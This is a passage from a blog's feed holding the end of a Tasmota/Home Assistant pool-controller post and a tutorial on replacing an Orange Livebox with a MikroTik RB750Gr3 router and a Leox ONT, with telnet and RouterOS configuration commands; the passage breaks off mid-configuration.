&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="tasmota-configurtion"&gt;Tasmota configurtion
&lt;/h3&gt;&lt;p&gt;Configure IO as follow :&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tasmota ESP32 Configuration" class="gallery-image" data-flex-basis="272px" data-flex-grow="113" height="386" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/hayward-aquarite-integration-home-assistant-tasmota/ESP32-tamsota-config-RS485-aquarite.png" width="438"&gt;&lt;/p&gt;
&lt;p&gt;Then wire it, start it and you should be able to use data :&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tasmota WiFi Data Interface" class="gallery-image" data-flex-basis="181px" data-flex-grow="75" height="952" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/hayward-aquarite-integration-home-assistant-tasmota/tasmota-wifi-data-aquarite.jpg" width="720"&gt;&lt;/p&gt;
&lt;h3 id="home-assistant-integration"&gt;Home assistant integration
&lt;/h3&gt;&lt;p&gt;Once done, you could process to MQTT integration and have a nice native integration in Home Assistant with Tasmota integration.&lt;/p&gt;
&lt;p&gt;You&amp;rsquo;re done with Hayward Aquarite integration in Home Assistant with Tasmota.&lt;/p&gt;</description></item><item><title>Replace Livebox with a MikroTik RB750Gr3 router and XT-010H-D ONT</title><link>https://www.rfontenay.fr/posts/replace-livebox-with-a-mikrotik/</link><pubDate>Sun, 21 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/replace-livebox-with-a-mikrotik/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/replace-livebox-with-a-mikrotik/replace-livebox-mikrotik-1.png" alt="Featured image of post Replace Livebox with a MikroTik RB750Gr3 router and XT-010H-D ONT" /&gt;&lt;p&gt;In order to Replace Livebox with a MikroTik RB750Gr3 router and &lt;a class="link" href="https://www.leolabs.pl/ont-leox-lxt-010h-d.html" target="_blank" rel="noopener"
 &gt;XT-010H-D ONT&lt;/a&gt;, we&amp;rsquo;ll need to configure the ONT first, and then the Mikrotik.&lt;/p&gt;
&lt;p&gt;An ONT (Optical Network Terminal) is a crucial device in fiber-optic communication systems. It serves as the interface between the fiber-optic network and end-user equipment, converting optical signals into electrical signals for devices like computers, phones, and TVs. Typically installed at the customer’s premises, the ONT connects to a fiber-optic cable and enables high-speed internet, phone, and TV services. It provides functions like signal conversion, data routing, and often features multiple Ethernet ports and sometimes Wi-Fi capabilities. The ONT ensures efficient data transmission by managing fiber signals, optimizing performance, and supporting reliable connectivity for residential or business users.&lt;/p&gt;
&lt;h2 id="ont--configure-the-leox-xt-010h-d"&gt;ONT : Configure the Leox XT-010H-D
&lt;/h2&gt;&lt;p&gt;First, let’s get the livebox ONT serial number, to be able to use the same for out Leox XT-010H-D&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="338px" data-flex-grow="140" height="727" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/replace-livebox-with-a-mikrotik/info_ont_livebox.png" srcset="https://www.rfontenay.fr/posts/replace-livebox-with-a-mikrotik/info_ont_livebox_hu_5196d8b084caac6d.png 800w, https://www.rfontenay.fr/posts/replace-livebox-with-a-mikrotik/info_ont_livebox.png 1024w" width="1024"&gt;&lt;/p&gt;
&lt;p&gt;Then, you should be able to connect to the Leox XT-010H-D with the following parameters :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;IP : 192.168.100.1&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Protocol : Telnet&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Login leox&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Password leolabs_7&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then we adjust the required parameters :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;telnet 192.168.100.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Trying 192.168.100.1...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connected to 192.168.100.1.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Escape character is &amp;#39;^]&amp;#39;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LXT-010H-D login: leox
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password: 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# flash set GPON_SN SMBSXXXXXXXX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GPON_SN=SMBSXXXXXXXX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# flash set PON_VENDOR_ID SMBS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PON_VENDOR_ID=SMBS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;telnet 192.168.100.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Trying 192.168.100.1...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connected to 192.168.100.1.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Escape character is &amp;#39;^]&amp;#39;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LXT-010H-D login: leox
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password: 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# flash set GPON_SN SMBSXXXXXXXX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GPON_SN=SMBSXXXXXXXX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# flash set PON_VENDOR_ID SMBS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PON_VENDOR_ID=SMBS
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="router--configure-the-mikroktik-rb750gr3-to-replace-the-livebox"&gt;Router : Configure the Mikroktik RB750Gr3 to replace the Livebox
&lt;/h2&gt;&lt;p&gt;Notes :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Port 1 : ONT&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Port 2 - 5 : Home network&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Interfaces :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/interface bridge
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add name=FTTH
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add name=bridge
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/interface vlan
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add interface=ether1 name=VLAN832 vlan-id=832
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/interface list
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add comment=defconf name=WAN
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add comment=defconf name=LAN
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/interface wireless security-profiles
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set [ find default=yes ] supplicant-identity=MikroTik
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Authentication : Replace xxxxxxx by the login fti/xxxxxxx in hexadecimal.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/ip dhcp-client option
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add code=77 name=userclass value=0x2b46535644534c5f6c697665626f782e496e7465726e65742e736f66746174686f6d652e4c697665626f7834
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add code=90 name=authsend value=0x00000000000000000000000x00000000000000000000006674692fxxxxxxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To finish the configuration :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;ip pool
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;default&lt;span style="color:#f92672"&gt;-&lt;/span&gt;dhcp ranges&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;192.168&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1.10&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;192.168&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1.254&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;ip dhcp&lt;span style="color:#f92672"&gt;-&lt;/span&gt;server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add address&lt;span style="color:#f92672"&gt;-&lt;/span&gt;pool&lt;span style="color:#f92672"&gt;=&lt;/span&gt;default&lt;span style="color:#f92672"&gt;-&lt;/span&gt;dhcp disabled&lt;span style="color:#f92672"&gt;=&lt;/span&gt;no interface&lt;span style="color:#f92672"&gt;=&lt;/span&gt;bridge name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;defconf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;interface bridge filter
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;set&lt;span style="color:#f92672"&gt;-&lt;/span&gt;priority chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;output dst&lt;span style="color:#f92672"&gt;-&lt;/span&gt;port&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;67&lt;/span&gt; ip&lt;span style="color:#f92672"&gt;-&lt;/span&gt;protocol&lt;span style="color:#f92672"&gt;=&lt;/span&gt;udp mac&lt;span style="color:#f92672"&gt;-&lt;/span&gt;protocol&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ip new&lt;span style="color:#f92672"&gt;-&lt;/span&gt;priority&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; out&lt;span style="color:#f92672"&gt;-&lt;/span&gt;interface&lt;span style="color:#f92672"&gt;=&lt;/span&gt;VLAN832 passthrough&lt;span style="color:#f92672"&gt;=&lt;/span&gt;yes src&lt;span style="color:#f92672"&gt;-&lt;/span&gt;port&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;68&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;interface bridge port
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add bridge&lt;span style="color:#f92672"&gt;=&lt;/span&gt;bridge comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;defconf interface&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ether2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add bridge&lt;span style="color:#f92672"&gt;=&lt;/span&gt;bridge comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;defconf interface&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ether3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add bridge&lt;span style="color:#f92672"&gt;=&lt;/span&gt;bridge comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;defconf interface&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ether4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add bridge&lt;span style="color:#f92672"&gt;=&lt;/span&gt;bridge comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;defconf interface&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ether5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add bridge&lt;span style="color:#f92672"&gt;=&lt;/span&gt;FTTH interface&lt;span style="color:#f92672"&gt;=&lt;/span&gt;VLAN832
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;ip neighbor discovery&lt;span style="color:#f92672"&gt;-&lt;/span&gt;settings
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set discover&lt;span style="color:#f92672"&gt;-&lt;/span&gt;interface&lt;span style="color:#f92672"&gt;-&lt;/span&gt;list&lt;span style="color:#f92672"&gt;=&lt;/span&gt;LAN
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;interface list member
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;defconf interface&lt;span style="color:#f92672"&gt;=&lt;/span&gt;bridge list&lt;span style="color:#f92672"&gt;=&lt;/span&gt;LAN
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;defconf interface&lt;span style="color:#f92672"&gt;=&lt;/span&gt;FTTH list&lt;span style="color:#f92672"&gt;=&lt;/span&gt;WAN
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;ip address
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add address&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;192.168&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1.1&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt; comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;defconf interface&lt;span style="color:#f92672"&gt;=&lt;/span&gt;bridge network&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;192.168&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;ip dhcp&lt;span style="color:#f92672"&gt;-&lt;/span&gt;client
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add dhcp&lt;span style="color:#f92672"&gt;-&lt;/span&gt;options&lt;span style="color:#f92672"&gt;=&lt;/span&gt;authsend,clientid,hostname,userclass disabled&lt;span style="color:#f92672"&gt;=&lt;/span&gt;no interface&lt;span style="color:#f92672"&gt;=&lt;/span&gt;FTTH
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;ip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;ip dns
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set allow&lt;span style="color:#f92672"&gt;-&lt;/span&gt;remote&lt;span style="color:#f92672"&gt;-&lt;/span&gt;requests&lt;span style="color:#f92672"&gt;=&lt;/span&gt;yes servers&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1.1&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1.1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;ip dns &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add address&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;172.6&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.254&lt;/span&gt; comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;defconf name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;router&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lan
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;ip firewall filter
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;accept chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;input comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;defconf: accept established,related,untracked&amp;#34;&lt;/span&gt; connection&lt;span style="color:#f92672"&gt;-&lt;/span&gt;state&lt;span style="color:#f92672"&gt;=&lt;/span&gt;established,related,untracked
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;drop chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;input comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;defconf: drop invalid&amp;#34;&lt;/span&gt; connection&lt;span style="color:#f92672"&gt;-&lt;/span&gt;state&lt;span style="color:#f92672"&gt;=&lt;/span&gt;invalid
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;accept chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;input comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;defconf: accept ICMP&amp;#34;&lt;/span&gt; protocol&lt;span style="color:#f92672"&gt;=&lt;/span&gt;icmp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;accept chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;input comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;defconf: accept to local loopback (for CAPsMAN)&amp;#34;&lt;/span&gt; dst&lt;span style="color:#f92672"&gt;-&lt;/span&gt;address&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;127.0&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;drop chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;input comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;defconf: drop all not coming from LAN&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;interface&lt;span style="color:#f92672"&gt;-&lt;/span&gt;list&lt;span style="color:#f92672"&gt;=!&lt;/span&gt;LAN
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;accept chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;forward comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;defconf: accept in ipsec policy&amp;#34;&lt;/span&gt; ipsec&lt;span style="color:#f92672"&gt;-&lt;/span&gt;policy&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#f92672"&gt;in&lt;/span&gt;,ipsec
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;accept chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;forward comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;defconf: accept out ipsec policy&amp;#34;&lt;/span&gt; ipsec&lt;span style="color:#f92672"&gt;-&lt;/span&gt;policy&lt;span style="color:#f92672"&gt;=&lt;/span&gt;out,ipsec
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;fasttrack&lt;span style="color:#f92672"&gt;-&lt;/span&gt;connection chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;forward comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;defconf: fasttrack&amp;#34;&lt;/span&gt; connection&lt;span style="color:#f92672"&gt;-&lt;/span&gt;state&lt;span style="color:#f92672"&gt;=&lt;/span&gt;established,related
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;accept chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;forward comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;defconf: accept established,related, untracked&amp;#34;&lt;/span&gt; connection&lt;span style="color:#f92672"&gt;-&lt;/span&gt;state&lt;span style="color:#f92672"&gt;=&lt;/span&gt;established,related,untracked
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;drop chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;forward comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;defconf: drop invalid&amp;#34;&lt;/span&gt; connection&lt;span style="color:#f92672"&gt;-&lt;/span&gt;state&lt;span style="color:#f92672"&gt;=&lt;/span&gt;invalid
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;drop chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;forward comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;defconf: drop all from WAN not DSTNATed&amp;#34;&lt;/span&gt; connection&lt;span style="color:#f92672"&gt;-&lt;/span&gt;nat&lt;span style="color:#f92672"&gt;-&lt;/span&gt;state&lt;span style="color:#f92672"&gt;=!&lt;/span&gt;dstnat connection&lt;span style="color:#f92672"&gt;-&lt;/span&gt;state&lt;span style="color:#f92672"&gt;=&lt;/span&gt;new &lt;span style="color:#f92672"&gt;in&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;interface&lt;span style="color:#f92672"&gt;-&lt;/span&gt;list&lt;span style="color:#f92672"&gt;=&lt;/span&gt;WAN
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;ip firewall nat
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;add action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;masquerade chain&lt;span style="color:#f92672"&gt;=&lt;/span&gt;srcnat comment&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;defconf: masquerade&amp;#34;&lt;/span&gt; ipsec&lt;span style="color:#f92672"&gt;-&lt;/span&gt;policy&lt;span style="color:#f92672"&gt;=&lt;/span&gt;out,none out&lt;span style="color:#f92672"&gt;-&lt;/span&gt;interface&lt;span style="color:#f92672"&gt;-&lt;/span&gt;list&lt;span style="color:#f92672"&gt;=&lt;/span&gt;WAN
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;ip service
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set telnet disabled&lt;span style="color:#f92672"&gt;=&lt;/span&gt;yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set ftp disabled&lt;span style="color:#f92672"&gt;=&lt;/span&gt;yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set ssh disabled&lt;span style="color:#f92672"&gt;=&lt;/span&gt;yes 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;system clock
